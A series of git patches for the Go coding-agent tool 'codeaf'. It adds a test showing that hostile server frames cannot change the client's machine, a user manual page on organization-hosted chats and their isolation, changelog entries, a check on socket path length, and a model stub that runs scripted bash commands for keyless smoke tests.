engine.mu.Unlock() + if hello.Workspace != "" || hello.Session != "" { + t.Fatalf("the hello named a folder %q or a chat %q; both must be left to the server", hello.Workspace, hello.Session) + } + if _, err := client.Ping(); err != nil { + t.Fatalf("ping before the hostile frames: %v", err) + } + + // Everything the client legitimately does to start up has happened. From here + // on, anything new on this computer is the frames' doing. + before := treeSnapshot(t, world) + + // This ping is answered AFTER every hostile frame, so its answer arriving + // means the client's reader has been through all of them. + engine.mu.Lock() + engine.answers = nil + engine.mu.Unlock() + if _, err := client.Ping(); err != nil { + t.Fatalf("the client did not survive the hostile frames: %v", err) + } + time.Sleep(300 * time.Millisecond) // anything asynchronous has had its chance + + if after := treeSnapshot(t, world); !reflect.DeepEqual(after, before) { + for path, state := range after { + if before[path] != state { + t.Errorf("a frame changed this computer: %s (%s -> %s)", path, before[path], state) + } + } + for path := range before { + if _, still := after[path]; !still { + t.Errorf("a frame removed %s", path) + } + } + } + if _, err := os.Stat(hostilePath); err == nil { + t.Errorf("the file a frame named was written: %s", hostilePath) + } + if ran, _ := os.ReadFile(record); len(ran) != 0 { + t.Errorf("a program was started by frames: %s", ran) + } + baitMu.Lock() + hits := baitHits + baitMu.Unlock() + if hits != 0 { + t.Errorf("the address a frame named was fetched %d times", hits) + } + // And the client never agreed to run a tool: whatever it said back to a tool + // call is a refusal, never a result. + engine.mu.Lock() + for _, call := range engine.answers { + if call.Method == remote.MethodClientToolAnswer && !strings.Contains(string(call.Payload), `"is_error":true`) { + t.Errorf("the client answered a hostile tool call with something other than a refusal: %s", call.Payload) + } + } + engine.mu.Unlock() +} + +// The surface is not run in that test, so the one effect it has of its own +// accord, a desktop banner for an automation's news, is closed where this +// door builds it. +func TestC11_OrgSurfaceHasNoBannerRaiser(t *testing.T) { + list := func() ([]automation.Automation, error) { return nil, nil } + options := tui3.Options{Automations: tui3.AutomationsSeam{ + List: list, + Claim: func(int64) bool { return true }, + }} + got := orgSurfaceOptions(options) + if got.Automations.Claim != nil { + t.Fatal("the surface built for an organization's chat can still raise a desktop banner for the engine's news") + } + if got.Automations.List == nil { + t.Fatal("the list of automations was taken away with the banner") + } + if options.Automations.Claim == nil { + t.Fatal("the caller's own options were changed in place") + } +} From f5efa92c5212a622c02247d3b6845711300cbbcf Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:23:42 -0500 Subject: [PATCH 028/176] manual: the chats that run on the organization's server, in the words people ask them Where the chat runs, what stays on a person's computer, who can see a hosted chat, what the operator of the machine can see, what happens when the person disconnects, the limits and the refusal sentences, and how an operator turns it on. Probes in chat_hosted_test.go keep the questions reaching the page. Co-Authored-By: Claude Sonnet 5.5 --- .../chat/organization-hosted-sessions.md | 89 +++++++++++++++++++ internal/manual/chat_hosted_test.go | 63 +++++++++++++ 2 files changed, 152 insertions(+) create mode 100644 internal/manual/chat/organization-hosted-sessions.md create mode 100644 internal/manual/chat_hosted_test.go diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md new file mode 100644 index 0000000000..ad131bc842 --- /dev/null +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -0,0 +1,89 @@ +# Chats that run on the organization's server + +## where does my chat run when I use --org — on the organization's server, not on your computer + +`codeaf chat --org https://your-organization` opens a chat that runs on a machine the organization keeps, and shows it in your terminal. The folder it works in, its files, its shell, git and every command it runs are there, not on your computer. Your computer only shows the screen and sends what you type. + +This is a different thing from `--host` and `--at`, which reach one computer that you or someone else runs. `--org` reaches the organization's server, and the server finds your chat for you. + +It is off unless the organization's operator has turned it on. When it is off, the server answers `--org` the way it answers any address it does not know. Nothing about your own chats, on your own computer, changes either way. + +## open a chat on the organization's server — codeaf chat --org + +``` +codeaf chat --org https://your-organization +codeaf chat --org https://your-organization --once "run the tests and tell me what fails" +codeaf chat --org https://your-organization --session hs_0123456789abcdef01234567 +``` + +With no `--session`, it opens the chat you used most recently, or makes your first one if you have none. `--session` takes the name of a chat, which looks like `hs_` followed by 24 letters and digits. `--once` sends one message and prints the reply, as it does elsewhere. Another window on the same command opens another view of the same chat. + +You sign in first. Set `CODEAF_ORG_TOKEN`, or run `codeaf attach --token ` once for that server. Without either you read: `Sign in to first: set CODEAF_ORG_TOKEN, or run codeaf attach --token .` The address must be `https://`; a plain `http://` address is accepted only for the computer you are on, because a sign-in must not cross a network in the clear. + +The chat's folder is chosen on the server, so `--org` cannot take `--no-compact`, `--yolo`, `--max-hours`, `--max-cost`, `--one-model` or `--no-host`, nor be combined with `--host` or `--at`. It says which one cannot travel and why. + +## is my code on the organization's server when I use --org — what stays on your computer and what does not + +Everything the chat does happens on the server, in a folder that belongs to that one chat: the files it makes, the repositories it clones, what it writes to its shell history. None of it is copied to your computer unless you ask for it. Nothing on your computer is sent to the server except what you type and attach in the chat. + +The chat does not see your computer's files, your keys or your other chats. It starts in an empty folder. To work on code, it clones or is given the code there. + +The organization's operator keeps the machine and its disk. See *what can the operator of the server see* for what that means for you. + +## can other people on the server see my hosted chats — only you, and anyone else gets `There is no such chat.` + +Each chat belongs to the person who made it. Another person cannot open it, list it, stop it or delete it, and cannot tell it exists: asking for someone else's chat gets the same answer as asking for one that was never made, `There is no such chat.` + +A chat also cannot see another chat. Every chat runs as a separate user of the machine, in a folder only that user can read or write, so a command in one chat cannot read another chat's files, send it a signal or read its environment. That holds between two chats of the same person too. + +What the operator of the machine could do is a separate matter: see *what can the operator of the server see*. + +## what can the operator of the server see — honest limits of a hosted chat + +Whoever runs the machine, and whoever is its administrator on the hosting platform, can read everything on its disk. A hosted chat is not private from them. The disk is not encrypted by the server software itself. + +The chat can reach the internet, and the other machines on the server's private network if the platform leaves that network open. What protects the organization's other services is that each one asks for its own sign-in, not that a chat cannot find them. + +A chat has no key of the organization's. It reaches a model only through the organization's server, with access made for that chat alone. That access ends when you stop or delete the chat, and after twelve hours. If the organization's server restarts, the chat has no model access until your next attach, which makes new access. + +If you do not want your code on a machine the organization runs, do not open it with `--org`. + +## what happens to a hosted chat when I disconnect — the turn goes on and I come back to it + +A turn that is running on the server when you disconnect, lose the connection or kill `codeaf chat --org` goes on running there. When you open the same chat again with `codeaf chat --org`, the result is there. + +An idle chat stops its own program after a while and starts it again, with its conversation, the next time you open it. Files stay in place the whole time. Processes you started that were still running stay running until you stop the chat. + +If the server itself restarts, its running processes end and its files stay. Your first attach afterwards may say `This chat has no model access yet.`; open it again and it works. + +## how many chats can I have on the server at once — limits and waiting + +The operator sets how many chats may run at once, and how many one person may have running. When you are over your own limit you read: `You already have 2 chats running; stop one first.` (the number is the operator's). When the whole server is full you read: `Waiting for a free slot (3 of 3 in use).` Try again in a moment, or stop a chat you are not using. + +A chat counts as running while any process of it is running, including a background one you started. Stopping a chat ends all of them. + +## stop or delete a chat on the server — and what is left behind + +Stopping a chat ends every process it started, including ones that detached themselves, and takes away its model access. Its files stay, and opening it again starts it again. + +Deleting a chat does the same and then removes its folder. Afterwards it is gone: `There is no such chat.` + +Both are done through the organization's server by its owner, and only its owner. Neither affects another chat. + +## the server says it cannot keep my chat apart — hosted chat refusals + +The machine that runs chats measures what it can do when it starts. A chat only runs where two things hold: each chat can run as a separate user of the machine, and the machine can confine a chat's commands to its own folder. If it cannot, it starts no chats and says: `This server cannot keep your chat apart from other people's, so it did not start one.` That is the operator's to fix. + +If the machine cannot confine commands, a command in a chat is not run at all, and you read: `This computer cannot keep commands inside this chat's folder, so no command was run.` It never runs the command with fewer limits instead. + +Other sentences you may read when using `--org`: ` is unreachable.`, ` could not answer (status N).`, `This chat has no model access yet.`, `The place chats run on is not answering.`, `This chat's model access has ended.` and `The model is not answering.` + +An operator who has chosen to run on the user switch alone, because the machine has no way to confine commands, sees a warning when each chat opens. That is a choice the operator made, and it is not the default. + +## turn on chats on the server — for the operator + +Hosted chats are off by default. The operator turns them on by running the chats' machine beside the organization's server, in the organization's deployment (`deploy/org/README.md`, "Hosted chats"), and giving both the same long secret, which `./setup.sh` makes. + +On the organization's server set `CODEAF_HOSTED_URL` to the chats' machine, `CODEAF_HOSTED_SECRET`, `CODEAF_HOSTED_MODEL_UPSTREAM` (the model endpoint the organization pays for) and `CODEAF_HOSTED_MODEL_KEY`. On the chats' machine set `CODEAF_SESSIONHOST_SECRET` to the same secret, and optionally `CODEAF_SESSIONHOST_MAX_RUNNING`, `CODEAF_SESSIONHOST_MAX_PER_PERSON`, `CODEAF_SESSIONHOST_IDLE` and `CODEAF_SESSIONHOST_MODEL`. + +`codeaf sessionhost probe` prints what the machine can do and exits non-zero when it cannot keep chats apart. The machine runs as root inside its container and keeps only the capabilities it needs to switch users; it holds no organization secret except the shared one and no model key. The key stays on the organization's server, which adds it to each model request. diff --git a/internal/manual/chat_hosted_test.go b/internal/manual/chat_hosted_test.go new file mode 100644 index 0000000000..338abd40c8 --- /dev/null +++ b/internal/manual/chat_hosted_test.go @@ -0,0 +1,63 @@ +package manual + +import ( + "strings" + "testing" +) + +// HOSTED CHATS ARE ASKED ABOUT IN THREE VOICES: the person who runs `--org`, the person who +// worries about where their code went, and the operator who turns it on. Each question, in +// the words somebody would type, has to reach the page that answers it, and the page has to say +// the sentence the program really prints, so a person who pastes it finds its meaning. +func TestHostedChatQuestionsReachTheirPage(t *testing.T) { + asked := []struct { + question string + says []string + }{ + {"where does my chat run when I use codeaf chat --org", []string{"organization keeps", "not on your computer"}}, + {"how do I open a chat on the organization's server", []string{"codeaf chat --org", "--session"}}, + {"Sign in to the server first: set CODEAF_ORG_TOKEN", []string{"CODEAF_ORG_TOKEN", "codeaf attach"}}, + {"is my code on the organization's server when I use --org", []string{"folder that belongs to that one chat"}}, + {"can other people on the server see my hosted chats", []string{"There is no such chat."}}, + {"can the operator of the server read my chat files", []string{"not private from them", "not encrypted"}}, + {"if I disconnect from a hosted chat on the server does it keep running", []string{"goes on running there"}}, + {"You already have chats running; stop one first", []string{"stop one first"}}, + {"Waiting for a free slot on the server", []string{"Waiting for a free slot"}}, + {"This server cannot keep your chat apart from other people's", []string{"did not start one"}}, + {"This computer cannot keep commands inside this chat's folder so no command was run", []string{"no command was run"}}, + {"how do I turn on hosted chats for my organization", []string{"CODEAF_HOSTED_URL", "codeaf sessionhost probe"}}, + {"how do I stop or delete a chat that runs on the server", []string{"every process it started"}}, + } + for _, ask := range asked { + found := Chat().Search(ask.question, DefaultResults) + var reached bool + for _, section := range found { + if section.Page != "organization-hosted-sessions" { + continue + } + reached = true + for _, needle := range ask.says { + if !containsAny(found, "organization-hosted-sessions", needle) { + t.Errorf("%q reached the hosted-chats page but none of its sections says %q", ask.question, needle) + } + } + break + } + if !reached { + pages := make([]string, 0, len(found)) + for _, section := range found { + pages = append(pages, section.Page) + } + t.Errorf("%q should reach organization-hosted-sessions; it reached %v", ask.question, pages) + } + } +} + +func containsAny(found []Section, page, needle string) bool { + for _, section := range found { + if section.Page == page && (strings.Contains(section.Body, needle) || strings.Contains(section.Title, needle)) { + return true + } + } + return false +} From 360b9ded3534368933a4f81b492245b0d0f3d70b Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:41:10 -0500 Subject: [PATCH 029/176] changes: hosted chats P0 entry Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2896-hosted-chats-p0.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 docs/changes/unreleased/2896-hosted-chats-p0.md diff --git a/docs/changes/unreleased/2896-hosted-chats-p0.md b/docs/changes/unreleased/2896-hosted-chats-p0.md new file mode 100644 index 0000000000..3f51e4324b --- /dev/null +++ b/docs/changes/unreleased/2896-hosted-chats-p0.md @@ -0,0 +1,15 @@ +--- +kind: added +title: codeaf chat --org runs a chat on the organization's server, in a sessionhost of its own +pr: 2896 +surface: [chat, engine, factory, build, docs] +invalidates: + - "An organization server answered every /v1/hosted/ and /v1/model/ path as it answers any unknown /v1/ path, and a chat could only run on the computer in front of the person or on one machine reached with --host or --at. With CODEAF_HOSTED_URL set the server now hands a person's chat to a sessionhost and proxies it, and codeaf chat --org opens one. With the variable unset nothing changed." + - "The engine fenced a hello's commands only when the hello was headless, and ran them with the full permissions of the process when no fence could be applied. With CODEAF_FENCE_REQUIRE=1 the engine fences every hello, and a command that cannot be confined is refused with a plain sentence instead of being run open; without the variable the engine is what it was." + - "deploy/org's codeaf image could only carry the pinned published release, which has no sessionhost command. A local binary can now be placed beside codeaf.Dockerfile and chosen with CODEAF_BINARY_FROM=local; the default build is unchanged." +--- + +A person can run a whole chat (model, shell, git, a worktree) on a machine the organization keeps and attach to +it from a terminal. The machine gives every chat a Linux user and a closed folder of its own, holds no +organization secret or model key, and refuses to start chats when it cannot keep them apart. It is off unless an +operator sets it up; `deploy/org/README.md` has the steps and `SMOKE_HOSTED=1 ./smoke.sh` the keyless proof. From 22f618061c0a32811fefb975edf20777b27bca49 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:43:44 -0500 Subject: [PATCH 030/176] changes: the entry for the organization server follow-ups Says what was true and what is true now for private chats, the shared-chat audience, the paged remote read, loopback trust on a team server and bots, including the sentence in the #2890 entry that is no longer true. Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2895-org-follow-ups.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 docs/changes/unreleased/2895-org-follow-ups.md diff --git a/docs/changes/unreleased/2895-org-follow-ups.md b/docs/changes/unreleased/2895-org-follow-ups.md new file mode 100644 index 0000000000..ccdcab72ef --- /dev/null +++ b/docs/changes/unreleased/2895-org-follow-ups.md @@ -0,0 +1,14 @@ +--- +kind: changed +title: private chats stay private, a team server stops trusting its own computer, and people can make bots +pr: 2895 +surface: [factory, app, engine, docs] +invalidates: + - "Was true: everyone who could see a workstream was listed every other person's chat in it, with its title, owner, state and last-activity time (the v2 ruling C10), whatever the chat's own privacy. Is true now: chats start private (the organization policy's default for chats, unchanged), and the list shows another person's chat only when it is shared with you; a private chat is hidden from the workstream's people and from the operator, and the server does not announce it when it is made." + - "Was true: sharing a private chat with one person opened it to the whole workstream and to the operator, because the chat then inherited the workstream's shares and grants. Is true now: a private chat that has been shared stays private and is reached by its owner and the people its own grants name, and by nobody else, the operator included unless the policy says it sees private things; the grants list and the audience of its events name the same people." + - "Was true: #2890 removed the chunk-paged remote chat read, and dev's chats.read hello word and its agents.entries behaviour were the only chats.read. Is true now: the paged read is back as the method chats.read {cell, before?, limit?}, answered newest page first with sealed_at_ms and fetched_bytes, under its own hello word chats.read.paged. Dev's chats.read hello word keeps its meaning (agents.entries follows a saved remote head) and is not what advertises the paged read. The furrow pin is v0.3.7." + - "Was true: a request from the server's own computer with no sign-in acted as the factory's owner on every factory, team servers included, so any program on that machine was the owner. Is true now: that holds only on a solo factory by default. A team factory refuses a credential-free request from its own computer like any other, unless the host config says loopback_trust: true. A forwarded request is never local whatever the key says, unless a listed proxy names a loopback client in X-Forwarded-For; a script on the server's machine that called a team factory without a token must now send one (the discovery file carries it) or set the key. Worker attach keeps its own local door." + - "Was true: the only identity that could call an organization server was a person, signed in or holding a person token. Is true now: a person can make a bot, a named identity with its own token (cbt_, shown once, stored only as a hash), that acts with at most its creator's rights at the moment of each request. It is default-deny with a route allowlist, cannot start an agent run, make bots or use operator routes, and ends with its token, its removal or its creator's removal from the organization." +--- + +The two defaults that move on purpose are chats (private) and loopback on a team server (off); both have a way back and both are in the manual. The paged read and the bots are additive. The desk has to gate on `chats.read.paged` before it calls the paged read, and the manual's sharing and factory pages carry the rest. From 06118da5d0148af0726c486c26566b7c6007daea Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:49:02 -0500 Subject: [PATCH 031/176] enginehost: SocketPathUnder names the socket path a home leaves room for A supervisor that chooses the folders other people's homes live in needs to know, before it makes one, whether an engine host can listen there. The helper returns the longest path a host socket can have under a codeaf home, and a test pins it to the length of the socket a real host listens on. Co-Authored-By: Claude Sonnet 5.5 --- internal/enginehost/enginehost.go | 11 +++++++++++ internal/enginehost/enginehost_test.go | 14 ++++++++++++++ 2 files changed, 25 insertions(+) diff --git a/internal/enginehost/enginehost.go b/internal/enginehost/enginehost.go index 4aec63cf2f..0ba1a27d63 100644 --- a/internal/enginehost/enginehost.go +++ b/internal/enginehost/enginehost.go @@ -100,6 +100,17 @@ var ErrNoHostAnswered = errors.New("engine host: no host answered") // ssh control sockets and engine-host sockets from drifting across platforms. func SocketPathFits(path string) bool { return len(path) <= SocketLimit } +// SocketPathUnder is the longest socket path any workspace's host can have when +// the codeaf home is root: the directory is named by a sixteen-digit hash +// ([where]), so every workspace's socket is exactly this long. A supervisor that +// chooses the folders other people's homes will live in asks it BEFORE it +// creates one, because a home that leaves no room for the socket is not a fault +// the engine reports: it quietly takes the pipe, and its conversations die with +// the connection that started them. +func SocketPathUnder(root string) string { + return filepath.Join(root, "v3", "hosts", strings.Repeat("0", 2*8), socketName) +} + // Dir is where the host for one workspace keeps its socket: a directory under // ~/.codeaf/v3/hosts, resolved through internal/home so CODEAF_HOME moves it // with everything else. diff --git a/internal/enginehost/enginehost_test.go b/internal/enginehost/enginehost_test.go index a0c0b334ca..a15e3706ea 100644 --- a/internal/enginehost/enginehost_test.go +++ b/internal/enginehost/enginehost_test.go @@ -747,3 +747,17 @@ func TestHostedPlanPageCarriesTheLedgersModel(t *testing.T) { t.Fatalf("PlanTaskWork over the host = (%+v, %v), want the door to answer", work, found) } } + +// SocketPathUnder is what a supervisor measures before it makes anybody a home, +// so it must be exactly as long as the socket a host really listens on. +func TestSocketPathUnderIsTheLengthOfARealHostSocket(t *testing.T) { + root := t.TempDir() + t.Setenv("CODEAF_HOME", root) + real, err := SocketPath("/work/some/place") + if err != nil { + t.Fatal(err) + } + if got := SocketPathUnder(root); len(got) != len(real) { + t.Fatalf("SocketPathUnder is %d bytes, a real host socket is %d", len(got), len(real)) + } +} From 49f92a2f3f7d1daa442b00c8fea8beb7ff4ca5e3 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:49:02 -0500 Subject: [PATCH 032/176] sessionhost: refuse a data folder with no room for the engine's socket (C5) The first live run showed a chat's turn dying with its client. The engine keeps working after a disconnect only as a host behind a unix socket in the chat's own home, and with the data folder at /sessions that socket's path was 104 bytes, one over the 103-byte ceiling, so the engine quietly ran inside the connection's process instead and nothing said so. The default folder is now /chats, and the supervisor refuses to start with a folder that leaves no room, naming how many characters there are. Co-Authored-By: Claude Sonnet 5.5 --- internal/sessionhost/config.go | 5 +- internal/sessionhost/config_test.go | 30 +++++++++++- internal/sessionhost/socketroom.go | 46 +++++++++++++++++++ internal/sessionhost/socketroom_linux_test.go | 17 +++++++ 4 files changed, 96 insertions(+), 2 deletions(-) create mode 100644 internal/sessionhost/socketroom.go create mode 100644 internal/sessionhost/socketroom_linux_test.go diff --git a/internal/sessionhost/config.go b/internal/sessionhost/config.go index 1bedbe21a7..fa2594732d 100644 --- a/internal/sessionhost/config.go +++ b/internal/sessionhost/config.go @@ -43,12 +43,15 @@ func ConfigFromEnv(getenv func(string) string) (Config, error) { cfg := Config{ Listen: value("LISTEN", "0.0.0.0:8790"), Secret: value("SECRET", ""), - Data: value("DATA", "/sessions"), + Data: value("DATA", "/chats"), Require: value("REQUIRE", modeFenced), Model: value("MODEL", ""), ForceProbe: value("FORCE_PROBE", ""), Engine: value("ENGINE", ""), } + if err := checkSocketRoom(cfg.Data); err != nil { + return Config{}, err + } if utf8.RuneCountInString(cfg.Secret) < 32 { return Config{}, fmt.Errorf("CODEAF_SESSIONHOST_SECRET must be at least 32 characters long") } diff --git a/internal/sessionhost/config_test.go b/internal/sessionhost/config_test.go index d3623d3a50..b0911621c0 100644 --- a/internal/sessionhost/config_test.go +++ b/internal/sessionhost/config_test.go @@ -13,7 +13,7 @@ func TestConfigFromEnv(t *testing.T) { if err != nil { t.Fatal(err) } - if cfg.Listen != "0.0.0.0:8790" || cfg.Data != "/sessions" || + if cfg.Listen != "0.0.0.0:8790" || cfg.Data != "/chats" || cfg.UIDBase != 200000 || cfg.UIDCount != 10000 || cfg.MaxRunning != 20 || cfg.MaxPerPerson != 3 || cfg.Idle != 30*time.Minute || cfg.NProc != 512 || cfg.Require != "uid+fence" || cfg.Secret != secret { @@ -37,3 +37,31 @@ func TestConfigFromEnv(t *testing.T) { }) } } + +// C5: a chat's engine can only outlive its connection if its socket path fits, +// so a data folder that leaves no room is refused at start, with the room said. +func TestC5_DataFolderLeavesRoomForTheEngineSocket(t *testing.T) { + secret := strings.Repeat("S", 32) + configure := func(data string) error { + _, err := ConfigFromEnv(func(name string) string { + switch name { + case "CODEAF_SESSIONHOST_SECRET": + return secret + case "CODEAF_SESSIONHOST_DATA": + return data + } + return "" + }) + return err + } + if err := configure("/chats"); err != nil { + t.Fatalf("the default folder must leave room: %v", err) + } + err := configure("/sessions") + if err == nil || !strings.Contains(err.Error(), "at most 8 characters") { + t.Fatalf("a folder one byte too long was accepted or unexplained: %v", err) + } + if err := configure("/" + strings.Repeat("d", 120)); err == nil { + t.Fatal("a very deep folder was accepted") + } +} diff --git a/internal/sessionhost/socketroom.go b/internal/sessionhost/socketroom.go new file mode 100644 index 0000000000..da1ccf4467 --- /dev/null +++ b/internal/sessionhost/socketroom.go @@ -0,0 +1,46 @@ +package sessionhost + +import ( + "fmt" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/enginehost" +) + +// ── ROOM FOR THE ENGINE'S SOCKET ─────────────────────────────────────────── +// +// A chat's engine keeps working after its person disconnects only because it +// runs as a host behind a unix socket in the chat's own home +// (/people///home/v3/hosts//host.sock). A unix socket +// path has a hard ceiling ([enginehost.SocketLimit]), and an engine whose home is +// too deep does not fail: it quietly runs inside the connection's own process +// instead, so closing the client ends the turn. THAT IS EXACTLY HOW THE FIRST +// DEPLOYMENT BEHAVED, with the data folder at /sessions, one byte over the +// ceiling, and nothing said anywhere. So the supervisor refuses to start with a +// folder that leaves no room, and says how much room there is. + +// personDirWidth and sessionIDWidth are the widths of the two names layoutFor +// puts between the data folder and a chat's home. A test pins them to the real +// layout so the arithmetic here cannot drift from it. +const ( + personDirWidth = len("p_") + 16 + sessionIDWidth = len("hs_") + 24 +) + +// longestChatSocket is the engine-host socket of a chat under data, with names +// of the widest kind a chat can have. +func longestChatSocket(data string) string { + dir := filepath.Join(data, "people", strings.Repeat("p", personDirWidth), strings.Repeat("s", sessionIDWidth)) + return enginehost.SocketPathUnder(filepath.Join(dir, "home")) +} + +// checkSocketRoom is nil when every chat's engine host can listen under data. +func checkSocketRoom(data string) error { + path := longestChatSocket(data) + if enginehost.SocketPathFits(path) { + return nil + } + room := len(data) - (len(path) - enginehost.SocketLimit) + return fmt.Errorf("CODEAF_SESSIONHOST_DATA is too long: a chat's engine could not keep working after its person disconnects. Use a folder of at most %d characters, such as /chats", room) +} diff --git a/internal/sessionhost/socketroom_linux_test.go b/internal/sessionhost/socketroom_linux_test.go new file mode 100644 index 0000000000..2a907cd763 --- /dev/null +++ b/internal/sessionhost/socketroom_linux_test.go @@ -0,0 +1,17 @@ +//go:build linux + +package sessionhost + +import "testing" + +// The room arithmetic assumes the widths of the two names in a chat's path. +func TestC5_SocketRoomMatchesTheRealLayout(t *testing.T) { + folders, err := layoutFor("/d", "alice", chatA) + if err != nil { + t.Fatal(err) + } + want := len("/d") + len("/people/") + personDirWidth + len("/") + sessionIDWidth + if len(folders.dir) != want { + t.Fatalf("a chat's folder is %d bytes, the room check assumes %d", len(folders.dir), want) + } +} From 2c0607fe4ef15c15f012bfd4c5c87a06dfe835d6 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:49:15 -0500 Subject: [PATCH 033/176] deploy/org: the model stub can run one scripted bash call, so the smoke test needs no key A user message starting "bash:" makes the stub ask for one bash tool call with the rest of the message, and the tool's answer comes back quoted as "STUB ran: ". Any other message is answered "STUB noted: " as before, so the existing smoke test is unchanged. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/modelstub/main.go | 14 +++++ deploy/org/modelstub/scripted.go | 64 +++++++++++++++++++ deploy/org/modelstub/scripted_test.go | 91 +++++++++++++++++++++++++++ 3 files changed, 169 insertions(+) create mode 100644 deploy/org/modelstub/scripted.go create mode 100644 deploy/org/modelstub/scripted_test.go diff --git a/deploy/org/modelstub/main.go b/deploy/org/modelstub/main.go index 9aa1b14b48..4d955e4fc6 100644 --- a/deploy/org/modelstub/main.go +++ b/deploy/org/modelstub/main.go @@ -8,15 +8,22 @@ // POST /api/v1/chat/completions SSE stream // // What it does with a turn: +// // - A prompt that carries the SDK harness's "CRITICAL OUTPUT REQUIREMENTS" // block (a file to Write, with the JSON Schema inline or in a file) gets one // `write` tool call whose content is the SMALLEST valid document for that // schema (schema-driven: first enum value, one array element, "x" strings), // then a closing text turn once the tool answered. +// // - Anything else (a steer note, a title, a compaction) gets a short text // answer that quotes the person's last words, so a steer note is visible in // the run's transcript. // +// - A user message that starts with `bash:` gets ONE `bash` tool call carrying +// the rest as its command, then, once the tool answered, the text +// "STUB ran: " followed by the tool's output (scripted.go). That is how the +// hosted-session smoke test makes a session run a shell command. +// // STUB_DELAY (default 4s) is held before each answer so a run lasts long enough // to be watched and steered by hand. package main @@ -97,6 +104,13 @@ func completions(w http.ResponseWriter, r *http.Request) { return } n := turn.Add(1) + // A person's `bash: ` message is answered by running that command + // through the session's own bash tool and quoting what came back, so a + // hosted session can be driven end to end, keylessly, with real shell output + // (scripted.go). It is checked first and it never waits: it is a script. + if handled := scriptedBash(w, body.Messages, n); handled { + return + } // The original prompt is the first user message carrying the output block. promptAt := -1 for i, m := range body.Messages { diff --git a/deploy/org/modelstub/scripted.go b/deploy/org/modelstub/scripted.go new file mode 100644 index 0000000000..2f3e744720 --- /dev/null +++ b/deploy/org/modelstub/scripted.go @@ -0,0 +1,64 @@ +package main + +import ( + "encoding/json" + "fmt" + "net/http" + "strings" +) + +// scriptedPrefix opens a message that is a shell command to run, not a request +// to a model: `bash: echo hi > f && git status --short`. +const scriptedPrefix = "bash:" + +// scriptedLimit is how much of a command's output is quoted back; a transcript +// line, not a log. +const scriptedLimit = 4000 + +// scriptedCommand is the command in a `bash:` message, "" when the message is +// anything else. +func scriptedCommand(text string) string { + text = strings.TrimSpace(text) + if !strings.HasPrefix(text, scriptedPrefix) { + return "" + } + return strings.TrimSpace(strings.TrimPrefix(text, scriptedPrefix)) +} + +// scriptedBash answers a conversation whose last turn is a scripted command: +// a `bash:` user message gets the tool call, and the tool's answer to it gets +// the quote. It reports whether it answered. +func scriptedBash(w http.ResponseWriter, messages []message, n int64) bool { + if len(messages) == 0 { + return false + } + last := messages[len(messages)-1] + switch strings.ToLower(last.Role) { + case "user": + command := scriptedCommand(last.text()) + if command == "" { + return false + } + args, _ := json.Marshal(map[string]string{"command": command}) + stream(w, fmt.Sprintf("call_%d", n), "bash", string(args), "") + return true + case "tool": + // Only a tool answer to a scripted command is quoted: walk back to the + // user message that started this exchange. + for i := len(messages) - 2; i >= 0; i-- { + if !strings.EqualFold(messages[i].Role, "user") { + continue + } + if scriptedCommand(messages[i].text()) == "" { + return false + } + out := last.text() + if len(out) > scriptedLimit { + out = out[:scriptedLimit] + } + stream(w, "", "", "", "STUB ran: "+out) + return true + } + } + return false +} diff --git a/deploy/org/modelstub/scripted_test.go b/deploy/org/modelstub/scripted_test.go new file mode 100644 index 0000000000..f3747ad4be --- /dev/null +++ b/deploy/org/modelstub/scripted_test.go @@ -0,0 +1,91 @@ +package main + +import ( + "encoding/json" + "net/http/httptest" + "strings" + "testing" +) + +func msg(role, text string) message { + raw, _ := json.Marshal(text) + return message{Role: role, Content: raw} +} + +// toolCallsOf reads the streamed answer back the way a client does: the name and +// the decoded arguments of every tool call, and the last finish reason. +func toolCallsOf(t *testing.T, body string) (calls []map[string]string, names []string, finish string) { + t.Helper() + for _, line := range strings.Split(body, "\n") { + payload := strings.TrimPrefix(line, "data: ") + if payload == line || payload == "[DONE]" { + continue + } + var chunk struct { + Choices []struct { + Delta struct { + ToolCalls []struct { + Function struct{ Name, Arguments string } + } `json:"tool_calls"` + } `json:"delta"` + FinishReason *string `json:"finish_reason"` + } `json:"choices"` + } + if err := json.Unmarshal([]byte(payload), &chunk); err != nil { + t.Fatalf("a chunk is not JSON: %v: %s", err, payload) + } + for _, c := range chunk.Choices { + for _, call := range c.Delta.ToolCalls { + var args map[string]string + if err := json.Unmarshal([]byte(call.Function.Arguments), &args); err != nil { + t.Fatalf("arguments are not JSON: %v", err) + } + calls, names = append(calls, args), append(names, call.Function.Name) + } + if c.FinishReason != nil { + finish = *c.FinishReason + } + } + } + return calls, names, finish +} + +// A `bash:` message is one bash tool call that carries the command. +func TestScriptedBashMakesOneToolCall(t *testing.T) { + w := httptest.NewRecorder() + if !scriptedBash(w, []message{msg("system", "be brief"), msg("user", "bash: echo hi > f && git status --short")}, 7) { + t.Fatal("a bash: message was not answered") + } + calls, names, finish := toolCallsOf(t, w.Body.String()) + if len(calls) != 1 || names[0] != "bash" || calls[0]["command"] != "echo hi > f && git status --short" { + t.Fatalf("calls = %v %v", names, calls) + } + if finish != "tool_calls" { + t.Fatalf("the turn ends on %q, not on the tool call", finish) + } +} + +// The tool's answer to a scripted command is quoted, so it shows in the transcript. +func TestScriptedBashQuotesTheToolOutput(t *testing.T) { + w := httptest.NewRecorder() + messages := []message{msg("user", "bash: echo hi"), msg("assistant", ""), msg("tool", "hi\n?? f")} + if !scriptedBash(w, messages, 8) { + t.Fatal("the tool answer was not quoted") + } + if body := w.Body.String(); !strings.Contains(body, "STUB ran: hi") || !strings.Contains(body, "?? f") { + t.Fatalf("the output is not quoted: %s", body) + } 